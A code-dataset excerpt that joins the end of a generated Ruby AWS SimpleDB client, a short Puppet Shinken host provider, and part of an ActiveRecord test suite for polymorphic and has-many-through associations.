add_plugin(Aws::Plugins::CredentialsConfiguration)
add_plugin(Aws::Plugins::Logging)
add_plugin(Aws::Plugins::ParamConverter)
add_plugin(Aws::Plugins::ParamValidator)
add_plugin(Aws::Plugins::UserAgent)
add_plugin(Aws::Plugins::HelpfulSocketErrors)
add_plugin(Aws::Plugins::RetryErrors)
add_plugin(Aws::Plugins::GlobalConfiguration)
add_plugin(Aws::Plugins::RegionalEndpoint)
add_plugin(Aws::Plugins::EndpointDiscovery)
add_plugin(Aws::Plugins::EndpointPattern)
add_plugin(Aws::Plugins::ResponsePaging)
add_plugin(Aws::Plugins::StubResponses)
add_plugin(Aws::Plugins::IdempotencyToken)
add_plugin(Aws::Plugins::JsonvalueConverter)
add_plugin(Aws::Plugins::ClientMetricsPlugin)
add_plugin(Aws::Plugins::ClientMetricsSendPlugin)
add_plugin(Aws::Plugins::TransferEncoding)
add_plugin(Aws::Plugins::SignatureV2)
add_plugin(Aws::Plugins::Protocols::Query)
# @overload initialize(options)
# @param [Hash] options
# @option options [required, Aws::CredentialProvider] :credentials
# Your AWS credentials. This can be an instance of any one of the
# following classes:
#
# * `Aws::Credentials` - Used for configuring static, non-refreshing
# credentials.
#
# * `Aws::InstanceProfileCredentials` - Used for loading credentials
# from an EC2 IMDS on an EC2 instance.
#
# * `Aws::SharedCredentials` - Used for loading credentials from a
# shared file, such as `~/.aws/config`.
#
# * `Aws::AssumeRoleCredentials` - Used when you need to assume a role.
#
# When `:credentials` are not configured directly, the following
# locations will be searched for credentials:
#
# * `Aws.config[:credentials]`
# * The `:access_key_id`, `:secret_access_key`, and `:session_token` options.
# * ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY']
# * `~/.aws/credentials`
# * `~/.aws/config`
# * EC2 IMDS instance profile - When used by default, the timeouts are
# very aggressive. Construct and pass an instance of
# `Aws::InstanceProfileCredentails` to enable retries and extended
# timeouts.
#
# @option options [required, String] :region
# The AWS region to connect to. The configured `:region` is
# used to determine the service `:endpoint`. When not passed,
# a default `:region` is search for in the following locations:
#
# * `Aws.config[:region]`
# * `ENV['AWS_REGION']`
# * `ENV['AMAZON_REGION']`
# * `ENV['AWS_DEFAULT_REGION']`
# * `~/.aws/credentials`
# * `~/.aws/config`
#
# @option options [String] :access_key_id
#
# @option options [Boolean] :active_endpoint_cache (false)
# When set to `true`, a thread polling for endpoints will be running in
# the background every 60 secs (default). Defaults to `false`.
#
# @option options [Boolean] :client_side_monitoring (false)
# When `true`, client-side metrics will be collected for all API requests from
# this client.
#
# @option options [String] :client_side_monitoring_client_id ("")
# Allows you to provide an identifier for this client which will be attached to
# all generated client side metrics. Defaults to an empty string.
#
# @option options [String] :client_side_monitoring_host ("127.0.0.1")
# Allows you to specify the DNS hostname or IPv4 or IPv6 address that the client
# side monitoring agent is running on, where client metrics will be published via UDP.
#
# @option options [Integer] :client_side_monitoring_port (31000)
# Required for publishing client metrics. The port that the client side monitoring
# agent is running on, where client metrics will be published via UDP.
#
# @option options [Aws::ClientSideMonitoring::Publisher] :client_side_monitoring_publisher (Aws::ClientSideMonitoring::Publisher)
# Allows you to provide a custom client-side monitoring publisher class. By default,
# will use the Client Side Monitoring Agent Publisher.
#
# @option options [Boolean] :convert_params (true)
# When `true`, an attempt is made to coerce request parameters into
# the required types.
#
# @option options [Boolean] :disable_host_prefix_injection (false)
# Set to true to disable SDK automatically adding host prefix
# to default service endpoint when available.
#
# @option options [String] :endpoint
# The client endpoint is normally constructed from the `:region`
# option. You should only configure an `:endpoint` when connecting
# to test endpoints. This should be avalid HTTP(S) URI.
#
# @option options [Integer] :endpoint_cache_max_entries (1000)
# Used for the maximum size limit of the LRU cache storing endpoints data
# for endpoint discovery enabled operations. Defaults to 1000.
#
# @option options [Integer] :endpoint_cache_max_threads (10)
# Used for the maximum threads in use for polling endpoints to be cached, defaults to 10.
#
# @option options [Integer] :endpoint_cache_poll_interval (60)
# When :endpoint_discovery and :active_endpoint_cache is enabled,
# Use this option to config the time interval in seconds for making
# requests fetching endpoints information. Defaults to 60 sec.
#
# @option options [Boolean] :endpoint_discovery (false)
# When set to `true`, endpoint discovery will be enabled for operations when available. Defaults to `false`.
#
# @option options [Aws::Log::Formatter] :log_formatter (Aws::Log::Formatter.default)
# The log formatter.
#
# @option options [Symbol] :log_level (:info)
# The log level to send messages to the `:logger` at.
#
# @option options [Logger] :logger
# The Logger instance to send log messages to. If this option
# is not set, logging will be disabled.
#
# @option options [String] :profile ("default")
# Used when loading credentials from the shared credentials file
# at HOME/.aws/credentials. When not specified, 'default' is used.
#
# @option options [Float] :retry_base_delay (0.3)
# The base delay in seconds used by the default backoff function.
#
# @option options [Symbol] :retry_jitter (:none)
# A delay randomiser function used by the default backoff function. Some predefined functions can be referenced by name - :none, :equal, :full, otherwise a Proc that takes and returns a number.
#
# @see https://www.awsarchitectureblog.com/2015/03/backoff.html
#
# @option options [Integer] :retry_limit (3)
# The maximum number of times to retry failed requests. Only
# ~ 500 level server errors and certain ~ 400 level client errors
# are retried. Generally, these are throttling errors, data
# checksum errors, networking errors, timeout errors and auth
# errors from expired credentials.
#
# @option options [Integer] :retry_max_delay (0)
# The maximum number of seconds to delay between retries (0 for no limit) used by the default backoff function.
#
# @option options [String] :secret_access_key
#
# @option options [String] :session_token
#
# @option options [Boolean] :stub_responses (false)
# Causes the client to return stubbed responses. By default
# fake responses are generated and returned. You can specify
# the response data to return or errors to raise by calling
# {ClientStubs#stub_responses}. See {ClientStubs} for more information.
#
# ** Please note ** When response stubbing is enabled, no HTTP
# requests are made, and retries are disabled.
#
# @option options [Boolean] :validate_params (true)
# When `true`, request parameters are validated before
# sending the request.
#
# @option options [URI::HTTP,String] :http_proxy A proxy to send
# requests through. Formatted like 'http://proxy.com:123'.
#
# @option options [Float] :http_open_timeout (15) The number of
# seconds to wait when opening a HTTP session before rasing a
# `Timeout::Error`.
#
# @option options [Integer] :http_read_timeout (60) The default
# number of seconds to wait for response data. This value can
# safely be set
# per-request on the session yeidled by {#session_for}.
#
# @option options [Float] :http_idle_timeout (5) The number of
# seconds a connection is allowed to sit idble before it is
# considered stale. Stale connections are closed and removed
# from the pool before making a request.
#
# @option options [Float] :http_continue_timeout (1) The number of
# seconds to wait for a 100-continue response before sending the
# request body. This option has no effect unless the request has
# "Expect" header set to "100-continue". Defaults to `nil` which
# disables this behaviour. This value can safely be set per
# request on the session yeidled by {#session_for}.
#
# @option options [Boolean] :http_wire_trace (false) When `true`,
# HTTP debug output will be sent to the `:logger`.
#
# @option options [Boolean] :ssl_verify_peer (true) When `true`,
# SSL peer certificates are verified when establishing a
# connection.
#
# @option options [String] :ssl_ca_bundle Full path to the SSL
# certificate authority bundle file that should be used when
# verifying peer certificates. If you do not pass
# `:ssl_ca_bundle` or `:ssl_ca_directory` the the system default
# will be used if available.
#
# @option options [String] :ssl_ca_directory Full path of the
# directory that contains the unbundled SSL certificate
# authority files for verifying peer certificates. If you do
# not pass `:ssl_ca_bundle` or `:ssl_ca_directory` the the
# system default will be used if available.
#
def initialize(*args)
super
end
# @!group API Operations
# Performs multiple DeleteAttributes operations in a single call, which
# reduces round trips and latencies. This enables Amazon SimpleDB to
# optimize requests, which generally yields better throughput.
#
# The following limitations are enforced for this operation: * 1 MB
# request size
# * 25 item limit per BatchDeleteAttributes operation
#
# @option params [required, String] :domain_name
# The name of the domain in which the attributes are being deleted.
#
# @option params [required, Array<Types::DeletableItem>] :items
# A list of items on which to perform the operation.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.batch_delete_attributes({
# domain_name: "String", # required
# items: [ # required
# {
# name: "String", # required
# attributes: [
# {
# name: "String", # required
# alternate_name_encoding: "String",
# value: "String", # required
# alternate_value_encoding: "String",
# },
# ],
# },
# ],
# })
#
# @overload batch_delete_attributes(params = {})
# @param [Hash] params ({})
def batch_delete_attributes(params = {}, options = {})
req = build_request(:batch_delete_attributes, params)
req.send_request(options)
end
# The `BatchPutAttributes` operation creates or replaces attributes
# within one or more items. By using this operation, the client can
# perform multiple PutAttribute operation with a single call. This helps
# yield savings in round trips and latencies, enabling Amazon SimpleDB
# to optimize requests and generally produce better throughput.
#
# The client may specify the item name with the `Item.X.ItemName`
# parameter. The client may specify new attributes using a combination
# of the `Item.X.Attribute.Y.Name` and `Item.X.Attribute.Y.Value`
# parameters. The client may specify the first attribute for the first
# item using the parameters `Item.0.Attribute.0.Name` and
# `Item.0.Attribute.0.Value`, and for the second attribute for the first
# item by the parameters `Item.0.Attribute.1.Name` and
# `Item.0.Attribute.1.Value`, and so on.
#
# Attributes are uniquely identified within an item by their name/value
# combination. For example, a single item can have the attributes `\{
# "first_name", "first_value" \}` and `\{ "first_name", "second_value"
# \}`. However, it cannot have two attribute instances where both the
# `Item.X.Attribute.Y.Name` and `Item.X.Attribute.Y.Value` are the same.
#
# Optionally, the requester can supply the `Replace` parameter for each
# individual value. Setting this value to `true` will cause the new
# attribute values to replace the existing attribute values. For
# example, if an item `I` has the attributes `\{ 'a', '1' \}, \{ 'b',
# '2'\}` and `\{ 'b', '3' \}` and the requester does a
# BatchPutAttributes of `\{'I', 'b', '4' \}` with the Replace parameter
# set to true, the final attributes of the item will be `\{ 'a', '1' \}`
# and `\{ 'b', '4' \}`, replacing the previous values of the 'b'
# attribute with the new value.
#
# This operation is vulnerable to exceeding the maximum URL size when
# making a REST request using the HTTP GET method. This operation does
# not support conditions using `Expected.X.Name`, `Expected.X.Value`, or
# `Expected.X.Exists`.
#
# You can execute multiple `BatchPutAttributes` operations and other
# operations in parallel. However, large numbers of concurrent
# `BatchPutAttributes` calls can result in Service Unavailable (503)
# responses.
#
# The following limitations are enforced for this operation: * 256
# attribute name-value pairs per item
# * 1 MB request size
# * 1 billion attributes per domain
# * 10 GB of total user data storage per domain
# * 25 item limit per `BatchPutAttributes` operation
#
# @option params [required, String] :domain_name
# The name of the domain in which the attributes are being stored.
#
# @option params [required, Array<Types::ReplaceableItem>] :items
# A list of items on which to perform the operation.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.batch_put_attributes({
# domain_name: "String", # required
# items: [ # required
# {
# name: "String", # required
# attributes: [ # required
# {
# name: "String", # required
# value: "String", # required
# replace: false,
# },
# ],
# },
# ],
# })
#
# @overload batch_put_attributes(params = {})
# @param [Hash] params ({})
def batch_put_attributes(params = {}, options = {})
req = build_request(:batch_put_attributes, params)
req.send_request(options)
end
# The `CreateDomain` operation creates a new domain. The domain name
# should be unique among the domains associated with the Access Key ID
# provided in the request. The `CreateDomain` operation may take 10 or
# more seconds to complete.
#
# The client can create up to 100 domains per account.
#
# If the client requires additional domains, go to [
# http://aws.amazon.com/contact-us/simpledb-limit-request/][1].
#
#
#
# [1]: http://aws.amazon.com/contact-us/simpledb-limit-request/
#
# @option params [required, String] :domain_name
# The name of the domain to create. The name can range between 3 and 255
# characters and can contain the following characters: a-z, A-Z, 0-9,
# '\_', '-', and '.'.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.create_domain({
# domain_name: "String", # required
# })
#
# @overload create_domain(params = {})
# @param [Hash] params ({})
def create_domain(params = {}, options = {})
req = build_request(:create_domain, params)
req.send_request(options)
end
# Deletes one or more attributes associated with an item. If all
# attributes of the item are deleted, the item is deleted.
#
# `DeleteAttributes` is an idempotent operation; running it multiple
# times on the same item or attribute does not result in an error
# response.
#
# Because Amazon SimpleDB makes multiple copies of item data and uses an
# eventual consistency update model, performing a GetAttributes or
# Select operation (read) immediately after a `DeleteAttributes` or
# PutAttributes operation (write) might not return updated item data.
#
# @option params [required, String] :domain_name
# The name of the domain in which to perform the operation.
#
# @option params [required, String] :item_name
# The name of the item. Similar to rows on a spreadsheet, items
# represent individual objects that contain one or more value-attribute
# pairs.
#
# @option params [Array<Types::Attribute>] :attributes
# A list of Attributes. Similar to columns on a spreadsheet, attributes
# represent categories of data that can be assigned to items.
#
# @option params [Types::UpdateCondition] :expected
# The update condition which, if specified, determines whether the
# specified attributes will be deleted or not. The update condition must
# be satisfied in order for this request to be processed and the
# attributes to be deleted.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_attributes({
# domain_name: "String", # required
# item_name: "String", # required
# attributes: [
# {
# name: "String", # required
# alternate_name_encoding: "String",
# value: "String", # required
# alternate_value_encoding: "String",
# },
# ],
# expected: {
# name: "String",
# value: "String",
# exists: false,
# },
# })
#
# @overload delete_attributes(params = {})
# @param [Hash] params ({})
def delete_attributes(params = {}, options = {})
req = build_request(:delete_attributes, params)
req.send_request(options)
end
# The `DeleteDomain` operation deletes a domain. Any items (and their
# attributes) in the domain are deleted as well. The `DeleteDomain`
# operation might take 10 or more seconds to complete.
#
# @option params [required, String] :domain_name
# The name of the domain to delete.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_domain({
# domain_name: "String", # required
# })
#
# @overload delete_domain(params = {})
# @param [Hash] params ({})
def delete_domain(params = {}, options = {})
req = build_request(:delete_domain, params)
req.send_request(options)
end
# Returns information about the domain, including when the domain was
# created, the number of items and attributes in the domain, and the
# size of the attribute names and values.
#
# @option params [required, String] :domain_name
# The name of the domain for which to display the metadata of.
#
# @return [Types::DomainMetadataResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DomainMetadataResult#item_count #item_count} => Integer
# * {Types::DomainMetadataResult#item_names_size_bytes #item_names_size_bytes} => Integer
# * {Types::DomainMetadataResult#attribute_name_count #attribute_name_count} => Integer
# * {Types::DomainMetadataResult#attribute_names_size_bytes #attribute_names_size_bytes} => Integer
# * {Types::DomainMetadataResult#attribute_value_count #attribute_value_count} => Integer
# * {Types::DomainMetadataResult#attribute_values_size_bytes #attribute_values_size_bytes} => Integer
# * {Types::DomainMetadataResult#timestamp #timestamp} => Integer
#
# @example Request syntax with placeholder values
#
# resp = client.domain_metadata({
# domain_name: "String", # required
# })
#
# @example Response structure
#
# resp.item_count #=> Integer
# resp.item_names_size_bytes #=> Integer
# resp.attribute_name_count #=> Integer
# resp.attribute_names_size_bytes #=> Integer
# resp.attribute_value_count #=> Integer
# resp.attribute_values_size_bytes #=> Integer
# resp.timestamp #=> Integer
#
# @overload domain_metadata(params = {})
# @param [Hash] params ({})
def domain_metadata(params = {}, options = {})
req = build_request(:domain_metadata, params)
req.send_request(options)
end
# Returns all of the attributes associated with the specified item.
# Optionally, the attributes returned can be limited to one or more
# attributes by specifying an attribute name parameter.
#
# If the item does not exist on the replica that was accessed for this
# operation, an empty set is returned. The system does not return an
# error as it cannot guarantee the item does not exist on other
# replicas.
#
# @option params [required, String] :domain_name
# The name of the domain in which to perform the operation.
#
# @option params [required, String] :item_name
# The name of the item.
#
# @option params [Array<String>] :attribute_names
# The names of the attributes.
#
# @option params [Boolean] :consistent_read
# Determines whether or not strong consistency should be enforced when data is read from SimpleDB. If `true`, any data previously written to SimpleDB will be returned. Otherwise, results will be consistent eventually, and the client may not see data that was written immediately before your read.
#
# @return [Types::GetAttributesResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetAttributesResult#attributes #attributes} => Array<Types::Attribute>
#
# @example Request syntax with placeholder values
#
# resp = client.get_attributes({
# domain_name: "String", # required
# item_name: "String", # required
# attribute_names: ["String"],
# consistent_read: false,
# })
#
# @example Response structure
#
# resp.attributes #=> Array
# resp.attributes[0].name #=> String
# resp.attributes[0].alternate_name_encoding #=> String
# resp.attributes[0].value #=> String
# resp.attributes[0].alternate_value_encoding #=> String
#
# @overload get_attributes(params = {})
# @param [Hash] params ({})
def get_attributes(params = {}, options = {})
req = build_request(:get_attributes, params)
req.send_request(options)
end
# The `ListDomains` operation lists all domains associated with the
# Access Key ID. It returns domain names up to the limit set by
# [MaxNumberOfDomains](#MaxNumberOfDomains). A [NextToken](#NextToken)
# is returned if there are more than `MaxNumberOfDomains` domains.
# Calling `ListDomains` successive times with the `NextToken` provided
# by the operation returns up to `MaxNumberOfDomains` more domain names
# with each successive operation call.
#
# @option params [Integer] :max_number_of_domains
# The maximum number of domain names you want returned. The range is 1
# to 100. The default setting is 100.
#
# @option params [String] :next_token
# A string informing Amazon SimpleDB where to start the next list of
# domain names.
#
# @return [Types::ListDomainsResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListDomainsResult#domain_names #domain_names} => Array<String>
# * {Types::ListDomainsResult#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.list_domains({
# max_number_of_domains: 1,
# next_token: "String",
# })
#
# @example Response structure
#
# resp.domain_names #=> Array
# resp.domain_names[0] #=> String
# resp.next_token #=> String
#
# @overload list_domains(params = {})
# @param [Hash] params ({})
def list_domains(params = {}, options = {})
req = build_request(:list_domains, params)
req.send_request(options)
end
# The PutAttributes operation creates or replaces attributes in an item.
# The client may specify new attributes using a combination of the
# `Attribute.X.Name` and `Attribute.X.Value` parameters. The client
# specifies the first attribute by the parameters `Attribute.0.Name` and
# `Attribute.0.Value`, the second attribute by the parameters
# `Attribute.1.Name` and `Attribute.1.Value`, and so on.
#
# Attributes are uniquely identified in an item by their name/value
# combination. For example, a single item can have the attributes `\{
# "first_name", "first_value" \}` and `\{ "first_name", second_value"
# \}`. However, it cannot have two attribute instances where both the
# `Attribute.X.Name` and `Attribute.X.Value` are the same.
#
# Optionally, the requestor can supply the `Replace` parameter for each
# individual attribute. Setting this value to `true` causes the new
# attribute value to replace the existing attribute value(s). For
# example, if an item has the attributes `\{ 'a', '1' \}`, `\{ 'b',
# '2'\}` and `\{ 'b', '3' \}` and the requestor calls `PutAttributes`
# using the attributes `\{ 'b', '4' \}` with the `Replace` parameter set
# to true, the final attributes of the item are changed to `\{ 'a', '1'
# \}` and `\{ 'b', '4' \}`, which replaces the previous values of the
# 'b' attribute with the new value.
#
# You cannot specify an empty string as an attribute name.
#
# Because Amazon SimpleDB makes multiple copies of client data and uses
# an eventual consistency update model, an immediate GetAttributes or
# Select operation (read) immediately after a PutAttributes or
# DeleteAttributes operation (write) might not return the updated data.
#
# The following limitations are enforced for this operation: * 256 total
# attribute name-value pairs per item
# * One billion attributes per domain
# * 10 GB of total user data storage per domain
#
# @option params [required, String] :domain_name
# The name of the domain in which to perform the operation.
#
# @option params [required, String] :item_name
# The name of the item.
#
# @option params [required, Array<Types::ReplaceableAttribute>] :attributes
# The list of attributes.
#
# @option params [Types::UpdateCondition] :expected
# The update condition which, if specified, determines whether the
# specified attributes will be updated or not. The update condition must
# be satisfied in order for this request to be processed and the
# attributes to be updated.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_attributes({
# domain_name: "String", # required
# item_name: "String", # required
# attributes: [ # required
# {
# name: "String", # required
# value: "String", # required
# replace: false,
# },
# ],
# expected: {
# name: "String",
# value: "String",
# exists: false,
# },
# })
#
# @overload put_attributes(params = {})
# @param [Hash] params ({})
def put_attributes(params = {}, options = {})
req = build_request(:put_attributes, params)
req.send_request(options)
end
# The `Select` operation returns a set of attributes for `ItemNames`
# that match the select expression. `Select` is similar to the standard
# SQL SELECT statement.
#
# The total size of the response cannot exceed 1 MB in total size.
# Amazon SimpleDB automatically adjusts the number of items returned per
# page to enforce this limit. For example, if the client asks to
# retrieve 2500 items, but each individual item is 10 kB in size, the
# system returns 100 items and an appropriate `NextToken` so the client
# can access the next page of results.
#
# For information on how to construct select expressions, see Using
# Select to Create Amazon SimpleDB Queries in the Developer Guide.
#
# @option params [required, String] :select_expression
# The expression used to query the domain.
#
# @option params [String] :next_token
# A string informing Amazon SimpleDB where to start the next list of `ItemNames`.
#
# @option params [Boolean] :consistent_read
# Determines whether or not strong consistency should be enforced when data is read from SimpleDB. If `true`, any data previously written to SimpleDB will be returned. Otherwise, results will be consistent eventually, and the client may not see data that was written immediately before your read.
#
# @return [Types::SelectResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::SelectResult#items #items} => Array<Types::Item>
# * {Types::SelectResult#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.select({
# select_expression: "String", # required
# next_token: "String",
# consistent_read: false,
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].name #=> String
# resp.items[0].alternate_name_encoding #=> String
# resp.items[0].attributes #=> Array
# resp.items[0].attributes[0].name #=> String
# resp.items[0].attributes[0].alternate_name_encoding #=> String
# resp.items[0].attributes[0].value #=> String
# resp.items[0].attributes[0].alternate_value_encoding #=> String
# resp.next_token #=> String
#
# @overload select(params = {})
# @param [Hash] params ({})
def select(params = {}, options = {})
req = build_request(:select, params)
req.send_request(options)
end
# @!endgroup
# @param params ({})
# @api private
def build_request(operation_name, params = {})
handlers = @handlers.for(operation_name)
context = Seahorse::Client::RequestContext.new(
operation_name: operation_name,
operation: config.api.operation(operation_name),
client: self,
params: params,
config: config)
context[:gem_name] = 'aws-sdk-simpledb'
context[:gem_version] = '1.15.0'
Seahorse::Client::Request.new(handlers, context)
end
# @api private
# @deprecated
def waiter_names
[]
end
class << self
# @api private
attr_reader :identifier
# @api private
def errors_module
Errors
end
end
end
end
| 43.042821 | 302 | 0.65821 |
f882964577e61a755a2e460dcc8046cc0650c304 | 224 | require 'puppet/provider/shinken_file'
Puppet::Type.type(:shinken_host).provide :file, :parent => Puppet::Provider::Shinken_file do
def base_path
'/etc/shinken/hosts/'
end
def object_type
'hosts'
end
end
| 16 | 92 | 0.709821 |
b970d054c4253ae8bd5ffe2e02acf5e98e6c3f3f | 21,817 | require 'abstract_unit'
require 'fixtures/tag'
require 'fixtures/tagging'
require 'fixtures/post'
require 'fixtures/item'
require 'fixtures/comment'
require 'fixtures/author'
require 'fixtures/category'
require 'fixtures/categorization'
require 'fixtures/vertex'
require 'fixtures/edge'
require 'fixtures/book'
require 'fixtures/citation'
class AssociationsJoinModelTest < Test::Unit::TestCase
self.use_transactional_fixtures = false
fixtures :posts, :authors, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books
def test_has_many
assert authors(:david).categories.include?(categories(:general))
end
def test_has_many_inherited
assert authors(:mary).categories.include?(categories(:sti_test))
end
def test_inherited_has_many
assert categories(:sti_test).authors.include?(authors(:mary))
end
def test_has_many_uniq_through_join_model
assert_equal 2, authors(:mary).categorized_posts.size
assert_equal 1, authors(:mary).unique_categorized_posts.size
end
def test_has_many_uniq_through_count
author = authors(:mary)
assert !authors(:mary).unique_categorized_posts.loaded?
assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
assert_queries(1) { assert_equal 0, author.unique_categorized_posts.count(:title, :conditions => "title is NULL") }
assert !authors(:mary).unique_categorized_posts.loaded?
end
def test_polymorphic_has_many
assert posts(:welcome).taggings.include?(taggings(:welcome_general))
end
def test_polymorphic_has_one
assert_equal taggings(:welcome_general), posts(:welcome).tagging
end
def test_polymorphic_belongs_to
assert_equal posts(:welcome), posts(:welcome).taggings.first.taggable
end
def test_polymorphic_has_many_going_through_join_model
assert_equal tags(:general), tag = posts(:welcome).tags.first
assert_no_queries do
tag.tagging
end
end
def test_count_polymorphic_has_many
assert_equal 1, posts(:welcome).taggings.count
assert_equal 1, posts(:welcome).tags.count
end
def test_polymorphic_has_many_going_through_join_model_with_find
assert_equal tags(:general), tag = posts(:welcome).tags.find(:first)
assert_no_queries do
tag.tagging
end
end
def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection
assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
assert_no_queries do
tag.tagging
end
end
def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection_with_find
assert_equal tags(:general), tag = posts(:welcome).funky_tags.find(:first)
assert_no_queries do
tag.tagging
end
end
def test_polymorphic_has_many_going_through_join_model_with_disabled_include
assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
assert_queries 1 do
tag.tagging
end
end
def test_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins
assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
tag.author_id
end
def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key
assert_equal tags(:misc), taggings(:welcome_general).super_tag
assert_equal tags(:misc), posts(:welcome).super_tags.first
end
def test_polymorphic_has_many_create_model_with_inheritance_and_custom_base_class
post = SubStiPost.create :title => 'SubStiPost', :body => 'SubStiPost body'
assert_instance_of SubStiPost, post
tagging = tags(:misc).taggings.create(:taggable => post)
assert_equal "SubStiPost", tagging.taggable_type
end
def test_polymorphic_has_many_going_through_join_model_with_inheritance
assert_equal tags(:general), posts(:thinking).tags.first
end
def test_polymorphic_has_many_going_through_join_model_with_inheritance_with_custom_class_name
assert_equal tags(:general), posts(:thinking).funky_tags.first
end
def test_polymorphic_has_many_create_model_with_inheritance
post = posts(:thinking)
assert_instance_of SpecialPost, post
tagging = tags(:misc).taggings.create(:taggable => post)
assert_equal "Post", tagging.taggable_type
end
def test_polymorphic_has_one_create_model_with_inheritance
tagging = tags(:misc).create_tagging(:taggable => posts(:thinking))
assert_equal "Post", tagging.taggable_type
end
def test_set_polymorphic_has_many
tagging = tags(:misc).taggings.create
posts(:thinking).taggings << tagging
assert_equal "Post", tagging.taggable_type
end
def test_set_polymorphic_has_one
tagging = tags(:misc).taggings.create
posts(:thinking).tagging = tagging
assert_equal "Post", tagging.taggable_type
end
def test_create_polymorphic_has_many_with_scope
old_count = posts(:welcome).taggings.count
tagging = posts(:welcome).taggings.create(:tag => tags(:misc))
assert_equal "Post", tagging.taggable_type
assert_equal old_count+1, posts(:welcome).taggings.count
end
def test_create_bang_polymorphic_with_has_many_scope
old_count = posts(:welcome).taggings.count
tagging = posts(:welcome).taggings.create!(:tag => tags(:misc))
assert_equal "Post", tagging.taggable_type
assert_equal old_count+1, posts(:welcome).taggings.count
end
def test_create_polymorphic_has_one_with_scope
old_count = Tagging.count
tagging = posts(:welcome).tagging.create(:tag => tags(:misc))
assert_equal "Post", tagging.taggable_type
assert_equal old_count+1, Tagging.count
end
def test_delete_polymorphic_has_many_with_delete_all
assert_equal 1, posts(:welcome).taggings.count
posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyDeleteAll'
post = find_post_with_dependency(1, :has_many, :taggings, :delete_all)
old_count = Tagging.count
post.destroy
assert_equal old_count-1, Tagging.count
assert_equal 0, posts(:welcome).taggings.count
end
def test_delete_polymorphic_has_many_with_destroy
assert_equal 1, posts(:welcome).taggings.count
posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyDestroy'
post = find_post_with_dependency(1, :has_many, :taggings, :destroy)
old_count = Tagging.count
post.destroy
assert_equal old_count-1, Tagging.count
assert_equal 0, posts(:welcome).taggings.count
end
def test_delete_polymorphic_has_many_with_nullify
assert_equal 1, posts(:welcome).taggings.count
posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyNullify'
post = find_post_with_dependency(1, :has_many, :taggings, :nullify)
old_count = Tagging.count
post.destroy
assert_equal old_count, Tagging.count
assert_equal 0, posts(:welcome).taggings.count
end
def test_delete_polymorphic_has_one_with_destroy
assert posts(:welcome).tagging
posts(:welcome).tagging.update_attribute :taggable_type, 'PostWithHasOneDestroy'
post = find_post_with_dependency(1, :has_one, :tagging, :destroy)
old_count = Tagging.count
post.destroy
assert_equal old_count-1, Tagging.count
assert_nil posts(:welcome).tagging(true)
end
def test_delete_polymorphic_has_one_with_nullify
assert posts(:welcome).tagging
posts(:welcome).tagging.update_attribute :taggable_type, 'PostWithHasOneNullify'
post = find_post_with_dependency(1, :has_one, :tagging, :nullify)
old_count = Tagging.count
post.destroy
assert_equal old_count, Tagging.count
assert_nil posts(:welcome).tagging(true)
end
def test_has_many_with_piggyback
assert_equal "2", categories(:sti_test).authors.first.post_id.to_s
end
def test_include_has_many_through
posts = Post.find(:all, :order => 'posts.id')
posts_with_authors = Post.find(:all, :include => :authors, :order => 'posts.id')
assert_equal posts.length, posts_with_authors.length
posts.length.times do |i|
assert_equal posts[i].authors.length, assert_no_queries { posts_with_authors[i].authors.length }
end
end
def test_include_polymorphic_has_one
post = Post.find_by_id(posts(:welcome).id, :include => :tagging)
tagging = taggings(:welcome_general)
assert_no_queries do
assert_equal tagging, post.tagging
end
end
def test_include_polymorphic_has_one_defined_in_abstract_parent
item = Item.find_by_id(items(:dvd).id, :include => :tagging)
tagging = taggings(:godfather)
assert_no_queries do
assert_equal tagging, item.tagging
end
end
def test_include_polymorphic_has_many_through
posts = Post.find(:all, :order => 'posts.id')
posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
assert_equal posts.length, posts_with_tags.length
posts.length.times do |i|
assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
end
end
def test_include_polymorphic_has_many
posts = Post.find(:all, :order => 'posts.id')
posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
assert_equal posts.length, posts_with_taggings.length
posts.length.times do |i|
assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
end
end
def test_has_many_find_all
assert_equal [categories(:general)], authors(:david).categories.find(:all)
end
def test_has_many_find_first
assert_equal categories(:general), authors(:david).categories.find(:first)
end
def test_has_many_with_hash_conditions
assert_equal categories(:general), authors(:david).categories_like_general.find(:first)
end
def test_has_many_find_conditions
assert_equal categories(:general), authors(:david).categories.find(:first, :conditions => "categories.name = 'General'")
assert_equal nil, authors(:david).categories.find(:first, :conditions => "categories.name = 'Technology'")
end
